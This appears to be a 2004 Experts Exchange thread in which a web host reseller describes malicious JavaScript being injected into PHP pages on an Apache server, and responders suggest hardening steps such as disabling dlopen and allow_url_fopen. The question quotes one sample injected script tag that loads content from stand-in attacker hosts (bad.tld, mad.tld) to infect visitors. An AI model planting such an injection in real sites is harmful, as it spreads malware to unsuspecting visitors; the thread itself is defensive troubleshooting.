Solved

Apache PHP Code Insert Exploit Problem

Posted on 2004-04-27
8
1,074 Views
Last Modified: 2013-12-04
Hello,

My web host of whom I am a reseller runs Linux Red Hat Apache 1.3.29 and PHP 4.3.6.

We have a sever code insert problem.

On all PHP pages there is sometimes a java script insert which is only created in the user's browser when accessing the page.

The Java script points to a gif file on another web hoster's server and there calls again a redirect which infects to user with a trojan or virus through the browser.

This code insert is periodically, sometimes it is there and sometimes not.

Below please find an example of the code insert. The insert however changes often:

script language="JavaScript" src="http://www.bad.tld/some/path/icon.gif?i=43&to= http://www.mad.tld/for_admin.html

It looks like soemthing can trigger a dynamic loading of an Apache module that causes the code insert into PHP pages.

The tech tried to stop it with mod_security but this mod stops many PHP apps from working e.g CMS, Forums etc.

Anybody has experience with this problem and hopefully a working fix.

Thanks for any help.
0
Comment
Question by:Wildorchid
8 Comments
 

Author Comment

by:Wildorchid
ID: 10928429
We have solved the problem.

Somehow somebody uploaded a file named icon.gif probably through a forum or CMS leak. This icon.gif is an exe that reconfigures PHP to load tons of extra modules and manipulates Apache. Then they use a robot that calls the icon.gif URL and triggers the PHP modification from time to time.

Then we have disabled dlopen: disable_functions = dlopen

Hope we got rid of this now and hope above helps somebody else too.

Cheers
0
 
LVL 51

Expert Comment

by:ahoffmann
ID: 10943092
allow_url_fopen = Off
open_basedir = /path/to/your/docuemntroot

should also help fixing such malicious code
Unfortunately PHP is a security pain, its hard to fix all problems.
Best ist to use your CMS on a development server, and then copy the content to the live server, where you've disabpled most PHP scripts.
0
 
LVL 40

Expert Comment

by:jlevie
ID: 11011048
I'd say you still have a problem. When correctly set up there should be no way for anything to manipulate what modules apache or PHP loads unless there's a root exploit available on the server. My guess is that your RedHat system doesn't have all of the security errata installed and someone is exploiting a vulnerability that one of those errata addresses.

I agree with ahoffman that one should never have a CMS on a live server, but even then the process that extracts web page code from a CMS and updates the web server application should be running as the Apache user, who should in turn own all web content. And of course no web application may ever directly do anything as root. In cases where that's necessary the web app should leave a file with a fixed and known format for a root task to pick up, sanity check, and execute only if the contents of the file are "safe". And I can't emphasize enough that the sanit checking must exhibit extreme paranoia.
0
Superior storage. Superior surveillance.

WD Purple drives are built for 24/7, always-on, high-definition security systems. With support for up to 8 hard drives and 32 cameras, WD Purple drives are optimized for surveillance.

 
LVL 51

Expert Comment

by:ahoffmann
ID: 11077727
disagreed
if such a code is in a PHP page, then my suggestion prevents the server to load external URLs
0
 
LVL 1

Accepted Solution

by:
Computer101 earned 0 total points
ID: 11113492
PAQed, with points refunded (500)

Computer101
E-E Admin
0
 
LVL 51

Expert Comment

by:ahoffmann
ID: 11145555
Computer101, why did you PAQ *with* refund?
0

Featured Post

Superior storage. Superior surveillance.

WD Purple drives are built for 24/7, always-on, high-definition security systems. With support for up to 8 hard drives and 32 cameras, WD Purple drives are optimized for surveillance.

Join & Write a Comment

As I write this article, I am finishing cleanup from the Qakbot virus variant found in the wild on April 18, 2011.  It was a messy beast that had varying levels of infection, speculated as being dependent on how long it resided on the infected syste…
Security measures require Windows be logged in using Standard User login (not Administrator).  Yet, sometimes an application has to be run “As Administrator” from a Standard User login.  This paper describes how to create a shortcut icon to launch a…
Internet Business Fax to Email Made Easy - With eFax Corporate (http://www.enterprise.efax.com), you'll receive a dedicated online fax number, which is used the same way as a typical analog fax number. You'll receive secure faxes in your email, fr…
This video explains how to create simple products associated to Magento configurable product and offers fast way of their generation with Store Manager for Magento tool.

758 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

19 Experts available now in Live!

Get 1:1 Help Now